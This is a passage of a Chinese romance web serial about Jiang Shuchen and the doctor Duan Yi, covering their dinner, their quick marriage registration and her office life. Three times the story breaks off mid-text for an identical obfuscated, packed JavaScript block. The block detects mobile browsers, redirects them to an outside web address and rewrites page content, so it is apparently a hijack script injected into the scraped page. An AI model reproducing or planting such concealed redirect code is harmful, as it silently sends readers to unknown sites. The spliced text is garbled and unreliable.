段逸的家世很好,收入也不菲,他难道一点都不担心和姜抒晨这样的普通人在一起会让自己损失一次与大户千金强强联合的大好机会,一点都不担心姜抒晨觊觎他的财产吗? 因为他表现得近乎完美,反而令人不敢放心。 姜抒晨并不善于瞒话,她喝完了一杯柠檬水,终于还是问出了口:“段先生不打算做婚前财产公证吗?还有婚内协议,段先生打算什么时候商讨?” 段逸给她重新倒了杯柠檬水,笑道:“如果姜小姐需要的话,我随时都可以。” “段先生自己是没有想过这个?”姜抒晨接过柠檬水,认真道,“如果遇到了真正心动的人想要离婚,还是有一条退路比较好。” “为什么会想要离婚?”段逸放下刀叉,修长的指骨轻敲着桌面,“我认为忠诚和责任是婚姻当中最重要的因素。即使是对我们两个人来说也一样。” 姜抒晨的心跳略微加快,她拿起了杯子,说:“我很赞同段先生。” “下周一下午姜小姐有时间吗?”段逸吃完面前的三文鱼,问道。 周末民政局不上班,最快的时间也就只能是周一了。 她在脑海中思索了一下下周的工作,心想领证用不了多久,便一口答应:“我可以下午茶的时间出来。” “好,到时候我去接你。” 姜抒晨抿了抿唇,“不用麻烦段先生了,我们民政局见就好。” 段逸的动作顿了一下,可他很快露出自嘲的笑容:“是我疏忽了,突然出现在公司楼下可能会给姜小姐带来困扰吧。” 姜抒晨忙摆手,否认道:“不是的不是的。我们园区和医院离得有点远。” 真的只是不想麻烦他罢了。 看姜抒晨急红了脸,段逸又给她夹了一筷子凉菜,说:“姜小姐不必这么紧张。我希望你和我在一起是轻松愉悦的。” 姜抒晨只顾着低头吃菜。 橄榄油和番茄、肉末混合在一起调制的酱汁酸甜爽口,裹着脆生生的苦苣,倒是能让她平静不少。 商定了结婚登记的时间,谈话便随意了许多。 “我平时比较喜欢打游戏,”段逸把吃空的盘子叠放到一起,“休假比较长的话会自驾去旅行。” 说到游戏,姜抒晨眼睛一亮,人也放开了不少。 她急切地问:“段先生也喜欢打游戏吗?我也很喜欢!” 段逸笑着点头:“是的,我打端游比较多。” “我也是我也是!”姜抒晨干脆放下了刀叉,“我最喜欢《赛博朋克2077》还有《巫师》这类剧情比较丰富的游戏。虽然它们的画风和制作已经甩了别的游戏一大截,但真正吸引我的是故事性。有趣的游戏很多,像《黎明杀机》和之前特别火的《PUBG》,但时间长了吸引力会下降。因为玩法固定,也没有内容可以挖掘,玩家很容易就厌倦了。” 段逸没有吃东西,而是身体微微前倾,含笑听着她讲。 “平常我也会玩手游。”姜抒晨接着说,“不过国内手游的同质化太严重了。二次元游戏都是换皮作品,并没有给我惊艳的感觉。” 说到这里,她的语调低了下去,“还是我们的游戏制作公司太少,发展得太晚了。想要做出3A大作,应该还要很多年吧。” 段逸默默给她递了个苹果味的慕斯蛋糕,说:“虽然道阻且长,但有姜小姐这样的人在努力,我多少有一些信心。” 姜抒晨:“谢谢。” “姜小姐最近在做什么项目呢?”段逸问。 “我们策划组最近在策划纳美的下一部手游。”姜抒晨恢复了精神,神采奕奕地说,“名字叫《光·影》,是一个温馨治愈的放置类游戏。虽然是放置类,但我希望能增强互动性,所以在里面加了很多隐藏剧情和对话。无论是选择放置玩法,还是深度游玩,都能有不同的体验。” 说到这儿,姜抒晨察觉到自己说得太多了,便把话题转向了段逸,“段先生玩手游吗?” “我不怎么玩。”段逸吃着慕斯蛋糕,说道,“上班的时候几乎没有时间可以玩手机。下班回家就可以打端游了。” “段先生工作真的很辛苦啊。”姜抒晨由衷地感叹,“能坚持学医的都是很努力的人。我就不太能吃苦,上学的时候总是偷懒,晚自习都拿来写小说了。” “那是因为姜小姐的兴趣在写作上啊。”段逸柔声说,“喜欢的事情,即使努力了也不会觉得自己是在吃苦。” 正说着,餐厅的服务生敲了敲门,向门内探身:“请问咱们这边还需要加菜吗?” 段逸和姜抒晨不约而同地看了一眼桌子。 之前挤满桌子的碗碟几乎都空了。 上菜的时候,从前菜到餐后甜点,一道一道,分量很足,姜抒晨还小小地担心了一下会不会浪费。 结果一不小心就都扫荡进肚子里了。 姜抒晨悄悄地抬头去看段逸,对方也正在看她。 两人相视一笑。 段逸问:“吃饱了吗?” 姜抒晨点头。 “我们不用加菜。”段逸对着服务生招了招手,“买单。” 服务生面带微笑地走过来出示了账单,“一共是两千六百元,请问您是怎么支付呢?” “支付宝!”姜抒晨抢在服务生扫到段逸的屏幕之前把手机伸了过去。 不过到底是离服务生远了一步,最终还是扫了段逸的付款码。 姜抒晨挫败地回到座位边,拿起了挂在椅子后面的包,说:“一会儿我转你一千三。” 段逸笑:“没关系。小钱而已,不用分得这么清。” “那不行。”姜抒晨踩着高跟鞋跟在段逸身后,“虽然段先生比我有钱得多,但我不会占你的便宜。” 两人出了包间,沿着古朴的木制楼梯来到餐厅一楼。 时间才刚过八点,一楼有不少人正在用餐,热热闹闹的。 见到一对俊男美女从楼梯上走下来,众人都投来了艳羡的目光。 姜抒晨又感觉面上发热,不由自主地加快了脚步。 来到了室外,秋天夜晚凉爽的风扑了她一脸,这才把脸上的余热消了下去。 “姜小姐,我送你回去?” 是疑问句,但语调是平的。 刚才吃饭一直在专心聊天,站起来走了几步之后,姜抒晨才发觉自己吃得有点多。 这个时候坐车,胃应该会很遭罪。 从小就晕车的姜抒晨很害怕万一吐在车上了,会没法收拾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829871|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她婉拒道:“我有点撑。想溜达一会儿。段先生快回去吧,周末好好休息。” 谁知段逸并没有自顾自地走人,而是饶有兴趣地说:“那我们散步回去吧。吃完饭也该消消食。” 姜抒晨抓紧了斜挎包的包链,问:“这样可以吗?” “当然。”段逸向她伸出手,“我来帮你拿包。” “没关系,”姜抒晨拍拍包,说道,“这个包不重的。” 包是miumiu的粉色小羊皮,优雅又俏皮,轻且柔软,像一朵蓬松的云。 段逸尊重她的意见,没再追问,只请她带路。 姜抒晨是个路痴。虽然这里离家也就十分钟的车程,可她硬是要掏出手机打开百度地图导航才能知道怎么走。 输入了目的地后,她站在原地转了好几圈来校准GPS的定位和方向,可仍旧看不太懂路线的指示。 段逸看着她转了好多圈,提醒道:“或许你可以让我看看吗?” 姜抒晨握着手机又看了一会儿,才投降似地把手机交给段逸,问:“为什么我的位置不在那条引导线上?中间的虚线要怎么走?” 段逸笑道:“我们要首先走到马路上去,我们现在还不在马路边。” 姜抒晨连连点头:“原来是这样。” 看着她认真研究地图,想要搞懂的样子,段逸压不住嘴角的弧度,说:“跟我走。” “好吧。”姜抒晨放弃了看百度地图,站到了段逸的侧面,“那我们走吧。” 他们走到了人行道上。 自行车和电动车从身边经过,带起一阵又一阵风,吹动了原本整齐的头发。 姜抒晨低头看着被路灯拉长的两个人的影子,一高一矮地走动着,忽然觉得他们确实有模有样的。 她比照了一下影子,猜测段逸的身高。 自己是165cm,段逸至少得有180cm吧? 姜抒晨侧过头,问:“段先生多高?” 段逸答:“187.” “好高。”姜抒晨看了眼脚上五厘米的高跟鞋,又偷偷瞄了瞄段逸的头顶。 看来以后要多买几双高跟鞋,姜抒晨暗自下定决心。 “对了,不用总叫我段先生。”段逸把一直在比量身高的姜抒晨轻轻拉到自己的右侧,“太生分了。” “那叫什么好?”姜抒晨仰起头,问。 “段逸就好了。”段逸答道。 姜抒晨:“可是我觉得‘段逸’也有点生分。” 她灵光乍现,问:“段先生的好朋友都怎么称呼段先生?” “段哥。” 姜抒晨笑出了声,“不行,这太奇怪了。” “很奇怪吗?”段逸笑着问。 姜抒晨:“有点。有种拜个把子的感觉。” 段逸被她逗笑了,说:“或者你也可以叫我阿逸。” 姜抒晨:“那你也不用叫我姜小姐。姜抒晨,或者抒抒,或者晨晨。” “好的,抒抒小姐。” 谈话间,两人就走到了姜抒晨家楼下。 时间过得太快了,姜抒晨甚至有些意犹未尽。 “谢谢你送我回来。”她走到单元门前,忽然又转身,“我们好像忘了一件事。” 段逸盯着她,也想了起来。 “微信。”两人异口同声地说。 在一番谁扫谁的纠结之后,姜抒晨先扫上了段逸的二维码。 对方的头像是个漫画男护士,眼睛画得很细致,和他本人有几分相似。 她点完好友申请,和段逸告别,然后上楼。 在踏上第一级台阶之前,她收到了段逸的通过信息。 5. 是你躲不过05 姜抒晨一到家,父母就连珠炮似地发问: “段逸那孩子怎么样?” “你们聊得来吗?” “三观合不合呀?” 活像姜抒晨上学时,班上热衷八卦的几个同学。 父母向来为人师表,严肃认真,他们八卦起来,反倒格外好笑。 姜抒晨心里对段逸很满意,脸上却并不想表现出来。她沉住气,只淡然地回答:“嗯,还不错,人挺好的,也比较会照顾人。” 姜母一听,脸上又忍不住露出笑意:“那好啊,这年头会照顾人的男孩子可少见啦!” 姜父在边上搬出段逸读研时的各种优秀事迹来佐证姜母,两人一唱一和,全然把当事人姜抒晨晾在了一边。 姜抒晨看着父母你来我往,决定还是先不要告诉他俩她决定下周一就去和段逸领证的事,不然还不知道要闹出多大的阵仗呢。 把父母应付过去之后,姜抒晨洗漱完毕躺到了床上,习惯性地睡前刷手机。 企业微信有几封公司发的邮件,提醒员工不要忘记提交周报、核对考勤信息云云,都是些琐事。 打开私人微信,则一片安静。姜抒晨把所有群都设置了消息免打扰,和好友联系也倾向于约个时间打电话,因此工作之后,她的微信使用频率极其低下。 唯一的一个小红点来自段逸通过好友请求时系统自动发送的提示: Dyyyyy:「我通过了你的朋友验证请求,现在我们可以开始聊天了。」 姜抒晨点开了他的头像,查看大图。 漫画男护士的画风偏日系,看起来少年感十足,很容易让人联想起各种少年漫里热血又开朗的男主角。 和段逸本人的气质很相像。 这也是姜抒晨看到他的第一眼留下的第一印象——虽然是二十六岁的男人,却并没有那种年长者俯视后辈的傲慢,虽然成熟但并不世故,有种从容而自由的少年气。 步入职场之后,姜抒晨就再也没有见过带有少年气的男人了。公司里的职员都带着一股打工人特有的颓唐气质,稍微做出点成绩的人则是一副高高在上的姿态,总爱教训别人。 思绪飘远时,手机兀自震动了起来。 她关了头像页面,返回到聊天框中,看到了段逸发来的消息:「我刚到家。今天一起吃饭很开心。」 这个“吃饭”提醒了姜抒晨,她在餐厅就说好了要给段逸转一半的饭钱。 于是姜抒晨没有立即回消息,而是点开了转账页面,输入1300然后敲下了支付密码确认转账,整个过程一气呵成。 对面显然是没料到她突然来这么一手,“对方正在输入……”停了好几次。 过了许久,段逸才发来一条回信:「你下次请我就好了。」 姜抒晨盯着他的回复,隐隐有些担心也许没有下次。他们只是形式婚姻,堵住了长辈催婚的嘴就算成功,其他方面不会有交集。所以,一起去吃饭这种事应该也不太可能出现。 她素来很讨厌欠别人,更何况是相亲对象。 现在的男女对立很严重,动不动就有人给女性扣上拜金、喜欢白嫖的帽子,她不想瓜田李下。 手机再次震动。 Dyyyyy:「我有家想去的餐厅,一个人去点不了多少东西。要是你可以一起来,就能多点几道。」 姜姜讲姜:「好的。」 姜姜讲姜:「我周六晚上到周日都有空。」 虽然不知道段逸是为了宽慰她故意这么说还是随口一提,但姜抒晨感到一直压在胸口的负担减轻了一些。 姜抒晨看了眼时间,已经过了十一点半,她便客套地回了一句:「时候不早了,早点休息。」 对方的“正在输入”戛然而止。 Dyyyyy:「好,你也是。」 姜抒晨并未就此放下手机睡觉,而是打开了阅读APP,随意地看了几页最近在读的小说。 看完了一整章,内容却不怎么过脑子。 她又回到了微信聊天界面。一切都停留在段逸那句“好,你也是”,再没下文。 没有晚安。 姜抒晨自嘲地笑了笑。 想什么呢?只是合作伙伴关系,保持客气就已经是极限了。 她把手机倒扣在枕边,闭上眼睛逼迫自己别多想。 周日平静无波地度过,周一早上在无数社畜的不情不愿中悄然降临。 姜抒晨比平时早起了一个小时,在衣柜里挑挑拣拣。 今天是领证的日子,必须要穿得正式、优雅又不失格调。 因为结婚证照片的背景是红色,所以穿浅淡的冷色系以及白色会比较亮眼。姜抒晨挑了几件白色的裙子和衬衫平摊在床上做对比。 然而这几件衣服都简单得过了头,平平无奇,以至于显得呆板。 姜抒晨便将它们全部一票否决了。 就在她感到气馁的时候,一件挂在衣柜里汉服吸引了她的注意。 这是一件明制汉服的对襟短袄,大身是温柔的燕麦白,领口绣了一串栩栩如生的葡萄藤,虽然简约,却设计感满满,无处不体现着设计师的巧思。 挑好了上衣,姜抒晨没有选择配套的汉服马面裙,而是选了一件短款的紫罗兰色百褶裙做了混搭,避免了下裙过长导致行动不便,整个人看着也十分精神。 为了呼应这一身衣装,姜抒晨特地化了个温婉的古风妆面。柳叶细眉下是一双灿若星辰的桃花眼,自然卷翘的睫毛楚楚动人。 收拾妥当后,她换上白色的小腿靴,把又细又长的腿修饰得更加笔直。 为了保持形象,她没有坐地铁,咬牙花了一笔“巨款”打车上班。 到了公司,在策划组这边商讨需求的几个男同事眼睛都直了,一直死盯着她短裙下露出的长腿看。 组长瞄了他们几眼,干脆直接挥了挥手,三言两语把他们打发走了:“抓紧时间,这个版本就要。” 等几个程序员离开,组长回过身,小声问姜抒晨:“今天穿得这么好看,是不是有约会?” 姜抒晨面露羞赧:“太久没穿这件衣服了,心血来潮想穿一下。” 正对着手持化妆镜孤芳自赏的苏晓婷把椅子转过来,把姜抒晨从头到脚打量了两遍,皱着鼻子,道:“我跟你说,你这样穿以后你男朋友会嫌你太暴露。裙子还是过膝比较好。” 姜抒晨一笑,把手提包放在座位上,打了个哈哈:“没事,不找那种男朋友就好了。” 她的话提醒了苏晓婷,她神秘兮兮地说:“过几天就国庆节了,咱们团建你可一定要来。我有个认识的男孩子,人特别好而且很有钱,可以介绍给你。” 姜抒晨婉拒:“不用了。我刚工作,又穷又忙的,是真谈不动。” 苏晓婷惊诧:“怎么会呢?女孩子的婚恋黄金期也就你这几年了,现在不谈更待何时?过了二十五你还有挑的余地吗?都是别人挑你!” 姜抒晨坐下,打开电脑,盯着屏幕上正在转圈的加载项,轻轻按着胸口,试图压抑住心底激烈的跳动。 下午就要领证了,所有人都不知道她即将结束单身生活,莫名有种偷偷复习考了第一的感觉。 当然,结婚并不是什么值得骄傲的事情,不过是个无奈之举罢了。 然而,一想到公开以后就可以堵住所有催婚人的嘴,再也不用听她们贩卖焦虑,她就一阵暗爽。 努力压下嘴角微扬的轻松弧度,姜抒晨把自己拉近了桌子,进入工作状态。 苏晓婷却还拿着星巴克的咖啡,悠哉悠哉地喝着,对前后左右说:“环球乐园的vvip速通票我已经搞到了,周末一起来玩。” 众人纷纷应和,“谢谢苏姐。” 苏晓婷得意洋洋地扭过头来,拍了一把姜抒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829872|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨的胳膊:“小姜,你也是。我把那个男孩子约过来,你见见。” 姜抒晨抓紧了鼠标,手心里渗出一点湿润,“谢谢您的邀请。但是环球乐园离我太远了,我真的起不来。” 尽管她说得非常诚恳,苏晓婷却还是盛情道:“我们可以晚点进去,反正是速通票,没所谓的。” 组长也帮腔:“你来公司这么久都不和我们一起玩过一次,这次就一起来嘛。” 姜抒晨为难地笑笑:“不是……但是我真的没有认识新人的计划,我觉得不是很擅长和陌生人打交道。” 苏晓婷放下咖啡,晃着她的胳膊:“熟人也都是从陌生人过来的呀。” 姜抒晨松开了被握到烫手的鼠标,闭了下眼睛,然后缓缓睁开,说:“其实我……” 苏晓婷她们几个都期待地看着她。 “其实我……”姜抒晨换了口气,说,“我已经有男朋友了。” 这一小片的办公区陡然陷入了寂静。 众人的目光齐刷刷地投到了她的身上。 组长目瞪口呆:“所以我猜对了,今天是真的有约会?” 苏晓婷一拍桌子:“好家伙,我说小姜长得不丑,能力也还行,怎么能没对象呢?原来你是憋着个大的!” “之前也不是骗大家,”姜抒晨抿了抿嘴唇,“确实是刚开始交往的对象。” 大家的八卦之心熊熊燃烧。 刘知瑶:“那国庆就带来给我们看看嘛。” 隔壁组的同事也凑过来说:“都没见你官宣,是什么神仙男友藏这么死?” 姜抒晨:“……” 苏晓婷:“你不带他来一起玩,我就认为你是在演我们。” 牙齿间嘎嘣一声响,姜抒晨这才意识到自己一直在咬牙切齿。 “行。那我带他来。不过苏老师,”姜抒晨皮笑肉不笑,“你也多关心一下自己的生活吧。我妈都没您这么操心呢,我怕让您失望,这多不好呀。” 苏晓婷一愣,荒谬地一笑。见周围没人附和她,她便怏怏地回到了座位上。 说话间,办公时间到了。 “小姜,昨天的文案我发你看看,有没要要改的。” “还有那个海报你也做一下。” “下周就要公测了,你得空帮忙看看预约数据怎么样了。” 组里的琐碎的任务一个接着一个,姜抒晨一连说了好多遍“好的,知道了”。 这时,放在桌上被调成静音模式的手机亮了起来。 姜抒晨瞄了一眼周围,趁着人人都在专注工作没心思东张西望,迅速地点开了微信。 Dyyyyy:「早上好。时间确定了吗?今天不方便可以改天。」 姜抒晨费了老大力气才把自己打扮好,怎么可能改天! 姜姜讲姜:「确定了。」 Dyyyyy:「几点有空?」 姜姜讲姜:「三点半之后。」 这是下午茶时间,偷摸溜出去问题不大。 姜抒晨是新人,一来请假影响不好,二来,她并不想让任何人知道她要结婚的事儿。 Dyyyyy:「好的。」 姜姜讲姜:「那下午见。」 姜抒晨掐灭了手机,坐立难安地挨过了一个上午。因为太紧张,连午饭也没有好好吃,随便塞了几口便当就算对付过去了。 下午茶时间一到,她借口要去楼下吃点东西,小跑着离开了办公区。 工作日的园区静悄悄的,姜抒晨走出公司大门,感觉自己像是偷来了半天的自由,心情一下子飞了起来。 她正准备拿出手机打车去民政局,一辆停在远处的奥迪缓缓驶近,最终停在了姜抒晨的面前。 姜抒晨下意识地后退两步。 车窗徐徐降下,段逸线条优美的侧脸出现在玻璃的那侧。 “打车吗?我免费。” 6. 是你躲不过06 那天吃饭的时候就和他说了不用麻烦,可他还是百忙之中抽空来接她,这让她心头一动。 “上车吧。”段逸的声音将她拉回现实。 姜抒晨口中答应着,却在坐哪个位置这个问题上犯了难。 坐副驾驶未免过于亲昵,也侵占了段逸的私人空间;坐后排的话,又像是确实把他当作了司机来用,十分失礼。 似乎是看穿了姜抒晨的纠结,段逸及时地说道:“你随便坐,不用多虑。” 姜抒晨闻言,便拉开后排的车门坐进了车里。 车内的空间较为宽敞,被车载香薰散发出来的水果清香填满,对气味敏感的姜抒晨闻不到分毫一般车内常有的皮革气味。 中控台上放着肌肉柴犬和Cheems的手办,沙雕气息和这辆商务风格很重的车格格不入。 “我给你买了喝的。”段逸转头,将星巴克的纸袋递给姜抒晨,“如果身体不方便就不要喝凉的。” “段先生费心了。”姜抒晨伸出手去接,手中多了沉甸甸的重量。 段逸在后视镜里瞄了她一眼,说:“不用叫我段先生。” 姜抒晨极其不自然地改了口:“好的。谢谢阿逸。” 不行,这个称呼果然还是太亲密了。 “那个……段先生,”姜抒晨问,“你的同事们都怎么称呼你?” 段逸:“实习生一般叫我段老师,护士长叫我小段。” “那我也可以叫你段老师吗?” 段逸一顿,继而微笑说:“当然可以。” 妥了,还是叫“段老师”最顺畅。 上班的时候,对所有不认识的同事都可以称呼某某老师,“段老师”和这些称谓并无不同,叫起来最舒服,距离感也恰好。 解决了一桩小问题,姜抒晨低下头拆开星巴克的包装袋。 里面放着两杯饮品,一杯是最近新出的草莓轻乳酪星冰乐,另一杯是热乎乎的燕麦抹茶拿铁。 时节已经来到秋天,在早上需要穿外套的温度里吃冰并不是养生人的选择。然而坐在车里的姜抒晨脸上持续发热,需要来点冰冷静一下。 她从包装袋里取出了草莓轻乳酪星冰乐,插上吸管,慢慢地喝了起来。 草莓的酸甜与乳酪的奶香混合在一起,甜而不腻,像极了少女埋藏许久的心事。 姜抒晨喝着星冰乐,悄悄地看段逸开车。他骨节分明的手搭在方向盘上,腕骨从衬衫的袖子里露出来,线条硬朗。他轻巧地把车转了个方向,往中央区方向驶去。 姜抒晨面不改色地收回视线,拿出手机强行刷了起来,掩盖她现在感到紧张的事实。 她迫切地想找点什么来看,又或者找个人诉说一下现状。可惜企业微信也好、个人微信也罢,都陷于沉寂。 姜抒晨思来想去,给大学时的好友许馨发了条微信: 「救大命!」 许馨:「Whathappened?」 姜姜讲姜:「我想原地去世!」 许馨:「发生甚么事了?」 “证件都带了吗?”段逸的声音从前排传来,打断了姜抒晨正在回消息的动作。 “身份证、户口本、一寸照片都带了。”姜抒晨回答。 段逸“嗯”了一声,说:“我们还有三十分钟到。” “好的”。姜抒晨干巴巴地说。 车里开始冷场。 姜抒晨从小到大,最怕的就是冷场。她总认为是因为自己不擅长交际,才把天给聊死了。一到全场沉默的时刻,她就陷入自责当中无法自拔。 她试着找话题,“段老师,民政局拍的结婚证照片是不是很丑?” “我也不清楚。”段逸说。 姜抒晨只想像玩游戏读档一样回到几秒前。 她问的是什么鬼问题! 段逸又没结过婚,他上哪儿知道去? 就在姜抒晨又将陷入自责的时候,段逸开口:“一会儿我们一起去拍就知道了。” 姜抒晨:“嗯嗯。” “不用担心。”段逸说,“是你的话,原图直出都很能打才对。” 被这么一夸,姜抒晨不好意思地低下头,握紧了手中的星冰乐,“段老师才是真的好看。” 闲聊了片刻,车便在中央区的民政局停车场停下了。 段逸停好车,借着解开安全带的时间浅浅看了一眼坐在后排的女生。 她一身柔和的白紫配色,复古韵味十足的妆容在洋娃娃一般的面容上也毫不违和。挽起的发髻稍稍从脑后露出半边,转头之间便是万种风情。 她正低头解安全带,手上死死捏着星冰乐的塑料杯,把杯身捏得凹了下去。 “紧张吗?”段逸回过身,问。 两人视线交错,他看到了她眼中一闪而过的慌张。 段逸淡声道:“不必紧张。只是走个过场,之后就没事了。” “是的。”姜抒晨催着自己镇定,“段老师说得没错。” 从车上下来之后,姜抒晨和段逸并排走向民政局大门。 虽然不是肩并肩的程度,可也轻易突破了一般社交距离。姜抒晨甚至可以闻到段逸白衬衫上的香味。那是某种姜抒晨不熟悉的香水的味道,像森林里的树木,清新怡人,沉稳又低调。 进了大门,登记处已经有好几对新人在那儿等着了。 “今天开始就可以合法地叫你‘老公’了。”排在前面的女孩子充满了期待,目光盈盈地看向身边的男人。 男人宠溺地揉了揉她的头发,说:“那我恨不得现在就领上证。” 女孩躲开他的手,娇嗔道:“讨厌,一会儿还要拍照呢,头发弄乱了不好看。” 姜抒晨转过视线,后面的一对年纪比他们几对都要稍长一些的情侣正在互相整理衣装。 女人帮男人正了正领带,笑道:“上次你打领带还是硕士毕业典礼。” 略带追忆的口吻,暗说他们之间经历过许多。 姜抒晨瞥向段逸,他正低着头看手机,显得气定神闲,全然不把其他人的声音听进耳朵里。 她正要找点话题,一个步履匆匆的女生跑到了等候区。 她扫视了一眼坐成一排的情侣们,目光聚焦在了姜抒晨他们身上。 她试探性地开口:“请问……这里是结婚登记的地方吗?” “是的。”姜抒晨疑惑地看着她,点了点头。 女生半信半疑地说了句“谢谢”,然后迈着急切的步子走开。 几分钟后她牵着一个男生的手回到等候区,径直往里走。 两人路过姜抒晨面前,她听到女生对男朋友说:“这儿有对情侣看着一点都不像是来结婚,我真的怕搞错地方了。” 姜抒晨一阵无地自容。 前面的几对情侣登记完了一大半,还有一对就到姜抒晨他们了。 看着前几对情侣当中妆容精致的女生,姜抒晨开始担忧自己的妆有没有花。 她起身,和段逸打了声招呼,来到洗手间补妆。 上了半天的班,鼻翼两侧有轻微脱妆,口红也有些斑驳。 她从包里取出散粉,在全脸轻拍了一遍,又在脱妆的地方轻轻压了两层。 处理好底妆后,她把口红膏体从管中转出一点,在唇瓣上点了几下,随后抿了抿唇。裸色的唇膏并不如红色那般衬人气色,却比红色要自然许多。 姜抒晨对镜做了几个表情,确定妆容没问题后,才从洗手间里走出来。 赶早不如赶巧,喇叭里正好喊到他们两人的号。 填了登记表和本人无配偶以及与对方没有直系血亲和三代以内旁系血亲关系的签字声明,就是拍照环节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829873|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责拍照的人是个大腹便便的中年男人,态度和蔼。 “两位新人请坐下。” 姜抒晨有些局促,段逸轻柔地揽住她,与她一起坐好。 他的手心很暖,隔着上衣的布料传递到姜抒晨的胳膊上。 不知怎的,她渐渐地安下了心。 “再靠得近一点。”摄影师指挥,“笑一下,结婚是人生的大喜事,要表现得特别高兴才对。” 姜抒晨僵硬地往段逸那边靠过去,肩膀与肩膀紧贴着,努力把笑容展现得再明显些。 “咔擦”。 白光闪过。 十几分钟后,两人的照片就出现在了结婚证上。 段逸笑得很自然,嘴边浅浅的梨涡简直狙击了姜抒晨的心脏。而他旁边的姜抒晨则显得有些拘束,多了些小女生的娇态。 接着就是婚检,流程走得飞快,不一会儿,手续就都办好了。 姜抒晨拿着自己的那本结婚证,和段逸一道往外走。 快到车前的时候,姜抒晨蓦然停下了脚步。 见到段逸之后她光顾着紧张,竟然忘记了问他下周末有没有时间一起去环球乐园。 段逸开了车门,却没有着急上车,“怎么了?” “段老师知道这周日环球乐园开园吗?”姜抒晨硬着头皮问道。 “不知道。”段逸摇了摇头,自嘲地说,“我上班事情很多,已经好久不关注这些了。” 姜抒晨继续说道:“下周一国庆假期就开始了,我们策划组团建,地点选在环球乐园……” 话都说到这里了,哪有把下一把咽下去的道理。她鼓足勇气抬眼看着段逸,问:“段老师下周一有空一起来吗?我们组长让大家带上男朋友、女朋友,这样比较热闹。” “如果你需要我有空的话,我可以有。”段逸的声音很柔和,像极了春日里涓涓流动的溪流,却又一点都不轻,透着股令人安心的笃定。 他根根分明的睫毛下,一双眼睛格外澄澈,看得姜抒晨有一瞬间愣神。 “要不要一起去吃个晚饭,”段逸笑着看她愣神的模样,慢悠悠地问,“还是要立即回公司?” “我还得回去处理一下工作。”姜抒晨撩了一下耳边的碎发,说道。 “那我送你回去。”段逸转了一圈车钥匙。 姜抒晨这次没有推辞,或许是领了证之后,多多少少会感觉两个人之间多了点亲近。 她在段逸之后坐进了车里,手中仍然紧紧地捏着鲜红的结婚证。 就这么把自己嫁了,她的心里却没什么波澜。 段逸从后视镜里看了一眼正在低头端详结婚证的女生,她的指尖都被结婚证镀了一层红色的边。 “领证的事和家里说了吗?”段逸目视前方,问。 姜抒晨忙放下结婚证,道:“我还没有告诉家里。想先缓一缓。” “家父对姜小姐夸赞颇多。”段逸从后视镜里关注着姜抒晨的反应,“你要是想见就见,不想见就不见。” 姜抒晨:“那……段老师的妈妈呢?” 段逸顿了一顿,沉声:“她在我初中的时候就去世了。” 姜抒晨急忙道歉:“对不起,我不是故意的。” 段逸倒是不放在心上,“不用道歉。是我事先没有知会你。” 他握紧了方向盘,手背上的骨骼凸显了出来。 车窗外,晚高峰的车流缓慢地移动,反射出金红色的暮光。 但他们这个点往经济开发区走,属于逆流而上,所以并未被上京糟糕的地面交通给困住。 闲聊了一会儿,车就停到了纳美集团总部大楼的楼下。 姜抒晨还沉浸在刚才说错话的自责当中,显得闷闷不乐。 段逸瞥见她的失落,粲然一笑,宽慰似地说:“别难过。我们下次见。” 7. 是你躲不过07 姜抒晨回到公司,把今日份的工作扫了尾。 到了六点半的下班时间,办公室只走了一小半的人。文案组的几个人都在座位上敲键盘,一点都看不出着急走的迹象,一副不知道现在几点的样子。 热爱工作和热爱加班不是一回事。姜抒晨向来很珍惜私人时间,多加班一小时她都觉得亏死,何况今天晚上约了许馨吃饭,她更是不能迟到。 她关闭了电脑上正在运行的timeline编辑器,悄悄地左顾右盼了几下,发现剩下的人是真的不打算走。 尽管十分不好意思这个点就下班,但溜走更不合适。 在心里纠结了一阵,姜抒晨合上电脑,安静地起身,来到组长身边。 组长正在整理会议纲要,见姜抒晨过来,摘下耳机,笑问:“是不是要去约会?” 听到她的问话,又看见她脸上的蜜汁微笑,姜抒晨的第一反应是否认,可她刚伸出手摆了一下,又赶忙换了个动作,示意她小点声似地,说:“吴老师,您猜得真准。” 吴悦妮哈哈一笑,对她挥了挥手,“你这个独身主义突然开窍了,我岂能拦着,快去吧。” 姜抒晨感激地鞠了一躬,走了两步又回头,对她说:“今天的文档我已经写好了,马上发您企微。” “OKOK.”吴悦妮点了点头,重新塞上了耳机。 姜抒晨回到位置上拎起早就偷摸收拾好的包,踮起脚尖逃跑似地从办公区里出来。 到了电梯间,她舒了口气,掏出手机给许馨发了个消息:“我下班了,一会儿见。” 许馨:「我求求您快点过来,我已经憋了几个小时了,你再不告诉我到底是什么事,我就要暴毙了!」 